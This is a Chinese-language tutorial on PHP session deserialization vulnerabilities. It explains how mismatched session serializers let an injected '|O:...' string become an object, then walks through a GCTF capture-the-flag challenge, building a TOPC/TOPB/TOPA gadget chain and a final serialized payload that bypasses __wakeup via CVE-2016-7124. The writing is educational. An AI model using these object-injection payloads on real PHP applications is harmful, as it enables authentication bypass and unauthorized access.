详解PHP的session反序列化漏洞问题
在php.ini中存在三项配置项:
session.save_path="" --设置session的存储路径
session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler string --定义用来序列化/反序列化的处理器名字。默认使用php
以上的选项就是与PHP中的Session存储和序列话存储有关的选项。
在使用xampp组件安装中,上述的配置项的设置如下:
session.save_path="D:\xampp\tmp" 表明所有的session文件都是存储在xampp/tmp下
session.save_handler=files 表明session是以文件的方式来进行存储的
session.auto_start=0 表明默认不启动session
session.serialize_handler=php 表明session的默认序列话引擎使用的是php序列话引擎
在上述的配置中,session.serialize_handler是用来设置session的序列话引擎的,除了默认的PHP引擎之外,还存在其他引擎,不同的引擎所对应的session的存储方式不相同。
php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
php:存储方式是,键名+竖线+经过serialize()函数序列处理的值
php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值
在PHP中默认使用的是PHP引擎,如果要修改为其他的引擎,只需要添加代码ini_set('session.serialize_handler', '需要设置的引擎');。示例代码如下:
session 的目录在 /var/lib/php/sessions 中
- <?php
- ini_set('session.serialize_handler', 'php_serialize');
- session_start();
- $_SESSION['name'] = 'spoock';
- var_dump($_SESSION);
在 php_serialize 引擎下,session文件中存储的数据为:
a:1:{s:4:"name";s:6:"spoock";}
php 引擎下文件内容为:
name|s:6:"spoock";
php_binary 引擎下文件内容为:
names:6:"spoock";
由于name的长度是4,4在ASCII表中对应的就是EOT。根据php_binary的存储规则,最后就是names:6:"spoock";。(突然发现ASCII的值为4的字符无法在网页上面显示,这个大家自行去查ASCII表吧)
PHP Session中的序列化危害
PHP中的Session的实现是没有的问题,危害主要是由于程序员的Session使用不当而引起的。
如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法。例如:
$_SESSION['ryat'] = '|O:1:"A":1:{s:1:"a";s:2:"xx";}';
php文件如:
- <?php
- ini_set('session.serialize_handler', 'php_serialize');
- session_start();
- $_SESSION['ryat'] = '|O:1:"A":1:{s:1:"a";s:2:"xx";}';
访问后得到session文件中的内容如下:
root/var/lib/php/sessions cat sess_e07gghbkcm0etit02bkjlbhac6
a:1:{s:4:"ryat";s:30:"|O:1:"A":1:{s:1:"a";s:2:"xx";}
但此时模拟在其他页面使用不同的php引擎来读取时的内容如下:(默认使用php引擎读取session文件)
- <?php
- #ini_set('session.serialize_handler', 'php_serialize');
- session_start();
- #$_SESSION['ryat'] = '|O:1:"A":1:{s:1:"a";s:2:"xx";}';
- class A {
- public $a = 'aa';
- function __wakeup() {
- echo $this->a;
- }
- }
- // var_dump($_SESSION);
访问该页面输出xx
- xxarray(1) {
- ["a:1:{s:4:"ryat";s:30:""]=>
- object(A)#1 (1) {
- ["a"]=>
- string(2) "xx"
- }
- }
这是因为当使用php引擎的时候,php引擎会以|作为作为key和value的分隔符,那么就会将 a:1:{s:4:"ryat";s:30:" 作为SESSION的key,将 O:1:"A":1:{s:1:"a";s:2:"xx";} 作为value,然后进行反序列化,最后就会得到A这个类。
这种由于序列话化和反序列化所使用的不一样的引擎就是造成PHP Session序列话漏洞的原因。漏洞在加载使用php引擎的页面时session去读session中的内容并反序列化导致漏洞触发,不需要任何输出
GCTF上的一道session反序列化漏洞分析:
index.php中内容为:
- <?php
- //error_reporting(E_ERROR & ~E_NOTICE);
- ini_set('session.serialize_handler', 'php_serialize');
- header("content-type;text/html;charset=utf-8");
- session_start();
- if(isset($_GET['src'])){
- $_SESSION['src'] = $_GET['src'];
- highlight_file(__FILE__);
- print_r($_SESSION['src']);
- }
- ?>
- <!DOCTYPE HTML>
- <html>
- <head>
- <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
- <title>代码审计2</title>
- </head>
- <body>
在php中,经常会使用序列化操作来存取数据,但是在序列化的过程中如果处理不当会带来一些安全隐患。
- <form action="./query.php" method="POST">
- <input type="text" name="ticket" />
- <input type="submit" />
- </form>
- <a href="./?src=1">查看源码</a>
- </body>
- </html>
query.php 中的内容为:
- /************************/
- /*
- //query.php 部分代码
- session_start();
- header('Look me: edit by vim ~0~')
- //......
- class TOPA{
- public $token;
- public $ticket;
- public $username;
- public $password;
- function login(){
- //if($this->username == $USERNAME && $this->password == $PASSWORD){ //抱歉
- $this->username =='aaaaaaaaaaaaaaaaa' && $this->password == 'bbbbbbbbbbbbbbbbbb'){
- return 'key is:{'.$this->token.'}';
- }
- }
- }
- class TOPB{
- public $obj;
- public $attr;
- function __construct(){
- $this->attr = null;
- $this->obj = null;
- }
- function __toString(){
- $this->obj = unserialize($this->attr);
- $this->obj->token = $FLAG;
- if($this->obj->token === $this->obj->ticket){
- return (string)$this->obj;
- }
- }
- }
- class TOPC{
- public $obj;
- public $attr;
- function __wakeup(){
- $this->attr = null;
- $this->obj = null;
- }
- function __destruct(){
- echo $this->attr;
- }
- }
- */
思路如下:
这题中我们构造一个TOPC,在析构的时候则会调用echo $this->attr;;
将attr赋值为TOPB对象,在echo TOPB的时候会自动调用__tostring魔术方法
在__tostring中会调用unserialize($this->attr),因为后面用到token和ticket,所以显然时TOPA对象。后面判断需要$this->obj->token === $this->obj->ticket,所以在序列化的时候进行指针引用使$a->ticket = &$a->token;,即可绕过判断。
至于为什么(string)$this->obj会输出flag,后台写的login可能是__tostring吧。
其中反序列化字符串中会有一个__wakeup()函数清空里面的参数,我问可以通过一个cve来绕过:CVE-2016-7124。将Object中表示数量的字段改成比实际字段大的值即可绕过wakeup函数。
最后的代码为:
- $testa = new TOPA();
- $testc = new TOPC();
- $testb = new TOPB();
- $testa->username = 0;
- $testa->password = 0;
- $testa->ticket = &$testa->token;
- $sa = serialize($testa);
- $testc->attr = $testb;
- $testb->attr = $sa;
- $test = serialize($testc);
- echo $test;
最终payload为:
O:4:"TOPC":3:{s:3:"obj";N;s:4:"attr";O:4:"TOPB":2:{s:3:"obj";N;s:4:"attr";s:84:"O:4:"TOPA":4:{s:5:"token";N;s:6:"ticket";R:2;s:8:"username";i:0;s:8:"password";i:0;}";}}